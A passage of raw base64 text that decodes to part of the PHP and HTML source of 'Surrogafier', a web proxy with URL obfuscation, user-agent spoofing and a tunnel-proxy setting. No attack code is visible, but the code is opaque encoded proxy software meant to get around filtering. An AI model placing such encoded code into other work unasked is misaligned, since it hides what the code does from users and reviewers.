uXC1dP1wmPXw9KT8nKTsNCmRlZmluZSgnUEFHRVRZUEVfUkVHRVhQJywnL14nLlBBR0VUWVBFX01JTklSRUdFWFAuJyguKikkLycpOw0KaWYoIWVtcHR5KCRwb3N0YW5kZ2V0W0NPT0tfUFJFRl0pKSAkb2VuY191cmw9JHBvc3RhbmRnZXRbQ09PS19QUkVGXTsNCmVsc2V7DQoJJHBhZ2V0eXBlX3N0cj1wcmVnX3JlcGxhY2UoUEFHRVRZUEVfUkVHRVhQLCdcMScsJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddKTsNCglkZWZpbmUoJ1FVRVJZX1NUUklORycsc3Vic3RyKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSxzdHJsZW4oJHBhZ2V0eXBlX3N0ciksc3RybGVuKCRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXSktc3RybGVuKCRwYWdldHlwZV9zdHIpKSk7DQoJZGVmaW5lKCdQQUdFVFlQRV9OVUxMJywwKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZPUkNFX01BSU4nLDEpOw0KCWRlZmluZSgnUEFHRVRZUEVfRlJBTUVfVE9QJywyKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywzKTsNCglkZWZpbmUoJ1BBR0VUWVBFX0ZSQU1FRF9DSElMRCcsNCk7ICMgZnJhbWluZyBjaGlsZHJlbiBmb3IgY3JpbWVzIGlzbid0IHZlcnkgbmljZSwgYnV0IHRoZSBzY3JpcHQgZG9lcyBpdCBhbnl3YXkNCglzd2l0Y2goJHBhZ2V0eXBlX3N0cil7DQoJCWNhc2UgJz0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FX1RPUCk7IGJyZWFrOw0KCQljYXNlICc9XyY9JzogZGVmaW5lKCdQQUdFVFlQRV9JRCcsUEFHRVRZUEVfRlJBTUVEX1BBR0UpOyBicmVhazsNCgkJY2FzZSAnPS0mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZPUkNFX01BSU4pOyBicmVhazsNCgkJY2FzZSAnPS4mPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7IGJyZWFrOw0KIyB0aGlzIGlzIG9uZSBtb3JlIHVuZW5jb2RlZCBzdHJpbmcgZm9yIGZ1dHVyZSBmZWF0dXJlcw0KIwkJY2FzZSAnPSomPSc6IGRlZmluZSgnUEFHRVRZUEVfSUQnLCk7IGJyZWFrOw0KCQlkZWZhdWx0OiBkZWZpbmUoJ1BBR0VUWVBFX0lEJyxQQUdFVFlQRV9OVUxMKTsgYnJlYWs7DQoJfQ0KCXVuc2V0KCRwYWdldHlwZV9zdHIpOw0KDQoJZGVmaW5lKCdORVdfUEFHRVRZUEVfRlJBTUVfVE9QJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FX1RPUCkpOw0KCWRlZmluZSgnTkVXX1BBR0VUWVBFX0ZSQU1FRF9QQUdFJywoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfQ0hJTEQ/UEFHRVRZUEVfRlJBTUVEX0NISUxEOlBBR0VUWVBFX0ZSQU1FRF9QQUdFKSk7DQoNCgkkb2VuY191cmw9UVVFUllfU1RSSU5HOw0KCS8vZGVmaW5lKCdPRU5DX1VSTCcsdXJsZGVjb2RlKHByZWdfcmVwbGFjZSgnL14oW14mXSopLio/JC9pJywnXDEnLFFVRVJZX1NUUklORykpKTsNCn0NCmlmKHN0cnBvcyhzdWJzdHIoJG9lbmNfdXJsLDAsNiksJyUnKSE9PWZhbHNlIHx8IHN0cnBvcygkb2VuY191cmwsJyUnKTxzdHJwb3MoJG9lbmNfdXJsLCcvJykgfHwgc3RycG9zKCRvZW5jX3VybCwnJScpPHN0cnBvcygkb2VuY191cmwsJzonKSkgJG9lbmNfdXJsPXVybGRlY29kZSgkb2VuY191cmwpOw0KZGVmaW5lKCdPRU5DX1VSTCcscHJlZ19yZXBsYWNlKCcvXihbXlw/XCZdKylcJi9pJywnXDE/Jywkb2VuY191cmwpKTsNCnVuc2V0KCRvZW5jX3VybCk7DQpkZWZpbmUoJ09SSUdfVVJMJyxwcm94ZGVjKE9FTkNfVVJMKSk7DQpnbG9iYWwgJGN1cnJfdXJsOw0KJGN1cnJfdXJsPU9SSUdfVVJMOw0KDQpmdW5jdGlvbiBnZXRoYXJkYXR0cigkYXR0cil7DQoJZ2xvYmFsICRwb3N0YW5kZ2V0Ow0KCXJldHVybiAoZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLidfc2V0X3ZhbHVlcyddKT8hZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLiJfeyRhdHRyfSJdKTohZW1wdHkoJHBvc3RhbmRnZXRbQ09PS19QUkVGLiJfeyRhdHRyfSJdKSk7DQp9DQpkZWZpbmUoJ0VOQ1JZUFRfVVJMUycsZ2V0aGFyZGF0dHIoJ2VuY3J5cHRfdXJscycpKTsNCmRlZmluZSgnVVJMX0ZPUk0nLGdldGhhcmRhdHRyKCd1cmxfZm9ybScpKTsNCmRlZmluZSgnUEFHRV9GUkFNRUQnLChQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VUWVBFX0lEPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEIHx8IFFVRVJZX1NUUklORz09J2pzX3JlZ2V4cHNfZnJhbWVkJyB8fCBRVUVSWV9TVFJJTkc9PSdqc19mdW5jc19mcmFtZWQnKSk7DQojZGVmaW5lKCdVUkxWQVInLChFTkNSWVBUX1VSTFM/J2UnOm51bGwpLid1cmwnKTsNCg0KIyB9fX0NCg0KIyBQSFAgREVDT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBteV9iYXNlNjRfZGVjb2RlKCRzdHJpbmcpeyByZXR1cm4gYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLHVybGRlY29kZSgkc3RyaW5nKSkpOyB9DQoNCmZ1bmN0aW9uIHByb3hkZWMoJHVybCl7DQoJaWYoJHVybHswfSE9J34nICYmIHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3IodmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4I